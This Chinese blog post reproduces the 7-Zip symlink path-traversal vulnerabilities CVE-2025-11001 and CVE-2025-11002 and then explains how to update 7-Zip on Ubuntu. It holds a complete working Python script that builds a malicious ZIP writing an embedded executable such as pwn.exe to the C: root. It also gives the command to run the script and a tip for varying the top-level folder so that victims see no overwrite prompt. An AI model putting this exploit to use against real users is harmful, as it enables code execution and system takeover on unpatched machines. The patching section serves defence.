7-Zip CVE-2025-11001 和 CVE-2025-11002 复现+更新Linux上7z至最新版本


前言

最近7-Zip 爆出了两个漏洞(CVE-2025-11001 和 CVE-2025-11002),允许通过恶意 ZIP 文件执行代码。主要是通过在7z压缩包在其中包含恶意符号链接和越级路径,一旦用户(或系统)使用存在漏洞的 7‑Zip 版本打开/解压该压缩包,7‑Zip 在处理符号链接时会突破预定的解压目录,将文件写入到目标目录之外的任意位置。例如,可以覆盖系统的配置文件或自动运行脚本,然后在后续执行中触发恶意代码加载。归根结底,这属于目录遍历(Path Traversal) 漏洞:恶意数据使解压过程脱离受限目录,把恶意文件植入到敏感路径下。

如果攻击者合理设计后续payload(例如在系统启动项或计划任务中放置可执行文件),则可以在当前用户或服务账户权限下执行任意代码。攻击链通常需要用户交互——诱使用户打开或解压恶意 ZIP 文件。一旦解压,恶意负载就会被写入系统目录并被执行;典型后果包括系统被完全控制、敏感数据泄露,甚至部署勒索软件等后续攻击。

CVE-2025-11001 和 CVE-2025-11002 均是符号链接处理漏洞,允许恶意 ZIP 文件进行越级解压并最终导致 rce(远程代码执行),因此更新系统7zip至最新安全版本就很有必要了,本文就简单记录下Linux系统(Ubuntu举例,Windows直接官网下载exe安装即可)更新7z至最新安全版本的步骤。

漏洞复现

在Windows上使用7zip 24.09版本复现下

使用如下Python脚本,生成一个带有软链接符合的恶意压缩包

import argparse
import os
import time
import zipfile

def add_dir(z, arcname):
    if not arcname.endswith('/'):
        arcname += '/'
    zi = zipfile.ZipInfo(arcname)
    zi.date_time = time.localtime(time.time())[:6]
    zi.create_system = 3
    zi.external_attr = (0o040755 << 16) | 0x10
    zi.compress_type = zipfile.ZIP_STORED
    z.writestr(zi, b'')

def add_symlink(z, arcname, target):
    zi = zipfile.ZipInfo(arcname)
    zi.date_time = time.localtime(time.time())[:6]
    zi.create_system = 3
    zi.external_attr = (0o120777 << 16)
    zi.compress_type = zipfile.ZIP_STORED
    z.writestr(zi, target.encode('utf-8'))

def add_file_from_disk(z, arcname, src_path):
    with open(src_path, 'rb') as f:
        payload = f.read()
    zi = zipfile.ZipInfo(arcname)
    zi.date_time = time.localtime(time.time())[:6]
    zi.create_system = 3
    zi.external_attr = (0o100644 << 16)
    zi.compress_type = zipfile.ZIP_STORED
    z.writestr(zi, payload)

def main():
    parser = argparse.ArgumentParser(
        description="Crafts a zip that exploits CVE-2025-11001."
    )
    parser.add_argument(
        "--zip-out", "-o",
        required=True,
        help="Path to the output ZIP file."
    )
    parser.add_argument(
        "--symlink-target", "-t",
        required=True,
        help="Destination path the symlink points to - specify a \"C:\" path"
    )
    parser.add_argument(
        "--data-file", "-f",
        required=True,
        help="Path to the local file to embed e.g an executable or bat script."
    )
    parser.add_argument(
        "--dir-name",
        default="data",
        help="Top-level directory name inside the ZIP (default: data)."
    )
    parser.add_argument(
        "--link-name",
        default="link_in",
        help="Symlink entry name under the top directory (default: link_in)."
    )
    args = parser.parse_args()

    top_dir = args.dir_name.rstrip("/")
    link_entry = f"{top_dir}/{args.link_name}"
    embedded_name = os.path.basename(args.data_file)
    file_entry = f"{link_entry}/{embedded_name}"

    with zipfile.ZipFile(args.zip_out, "w") as z:
        add_dir(z, top_dir)
        add_symlink(z, link_entry, args.symlink_target)
        add_file_from_disk(z, file_entry, args.data_file)

    print(f"Wrote {args.zip_out}")

if __name__ == "__main__":
    main()

执行 python3 exploit.py -t "C:" -f pwn.exe -o exp.zip 生成一个恶意的exp.zip 文件,然后使用 7z.exe x exp.zip 进行解压,即可触发漏洞,将我们的恶意文件pwn.exe 写如C盘根目录,如下图所示

因此,就可将任意恶意内容制作成压缩包,诱导用户使用7zip进行解压,不过需要注意,如果压缩包顶层目录已经存在会提示用户是否覆盖

所以最好修改下脚本,每次压缩包的顶层文件夹不重复。

当然,使用GUI界面解压一样会触发漏洞

Windows更新到最新版好再次测试,就会报错,提示危险软链接被忽略了

更新

下载源码

这里以最新版 2501 版本为例,详细的版本可以在官网查看 https://www.7-zip.org/

然后在 https://sourceforge.net/projects/sevenzip/files/7-Zip/ 获取最新版本

目前最新是2501版本 https://sourceforge.net/p/sevenzip/discussion/45797/thread/da14cd780b/ 获取对应版本的压缩包

找到适用于Linux的 7z2501-linux-x64.tar.xz(注意自己的系统架构是amd还是arm)

复制安装

先查看你的原始7z压缩软件在那个位置,一般Ubuntu默认在 /usr/bin/7z 和 /usr/local/bin/7z ,属于在Ubuntu里常用的归档管理器软件应用的依赖。

查看下当前版本

7z -version 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02

版本比较低且仓库默认版本可能不是最新版本,可以先执行以下命令更新尝试

sudo apt update
sudo apt install p7zip-full

下载包含软件二进制的压缩包后,解压

# 下载7z压缩包
mkdir 7zupdate && cd 7zupdate && wget https://7-zip.org/a/7z2501-linux-x64.tar.xz
sudo mv /usr/local/bin/7z /usr/local/bin/7z.bak   # 备份旧版
sudo mv /usr/bin/7z /usr/bin/7z.bak               # 备份旧版
tar -xvf 7z2501-linux-x64.tar.xz                  #解压
sudo cp ./7zz /usr/local/bin/7z                   # 拷贝新版
sudo cp ./7zz /usr/bin/7z                   # 拷贝新版
sudo chmod +x /usr/local/bin/7z
#再次执行 7z -h 或者 7z -version 查看版本,验证更新情况
7z -h

7-Zip (z) 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03

确定归档管理器软件应用的依赖7z是否为我们更新的

归档管理器(Archive Manager),命令行名:file-roller 使用如下命令来查看调用链

strace -f -e execve file-roller yourfile.7z 2>&1 | grep 7z

可以看到调用的是我们更新后的7z压缩软件,至此更新成功。

当然你可以下载7z的源码进行编译安装。

参考

  • https://github.com/pacbypass/CVE-2025-11001

手机扫码阅读

金和OA OpenGroupOpen.aspx SQL注入漏洞

孚盟云CRM LicManage.ashx SQL注入漏洞

评 论